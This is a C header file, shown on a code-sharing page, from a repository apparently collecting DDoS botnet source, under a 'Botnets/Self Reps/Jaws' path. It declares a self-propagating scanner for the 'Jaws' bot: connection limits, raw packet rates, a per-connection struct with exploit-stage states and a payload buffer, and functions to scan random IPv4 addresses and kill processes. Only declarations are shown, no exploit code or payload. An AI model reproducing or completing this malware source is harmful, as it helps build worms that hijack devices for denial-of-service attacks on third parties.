Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Jaws/jaws.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#define jaws_SCANNER_MAX_CONNS 256
8
#define jaws_SCANNER_RAW_PPS 320
9
10
#define jaws_SCANNER_RDBUF_SIZE 256
11
#define jaws_SCANNER_HACK_DRAIN 64
12
13
struct jaws_scanner_connection
14
{
15
int fd, last_recv;
16
enum
17
{
18
jaws_SC_CLOSED,
19
jaws_SC_CONNECTING,
20
jaws_SC_EXPLOIT_STAGE2,
21
jaws_SC_EXPLOIT_STAGE3,
22
} state;
23
ipv4_t dst_addr;
24
uint16_t dst_port;
25
int rdbuf_pos;
26
char rdbuf[jaws_SCANNER_RDBUF_SIZE];
27
char payload_buf[1024];
28
};
29
30
void jaws_scanner();
31
void jaws_kill(void);
32
33
static void jaws_setup_connection(struct jaws_scanner_connection *);
34
static ipv4_t jaws_get_random_ip(void);
35
36
37
38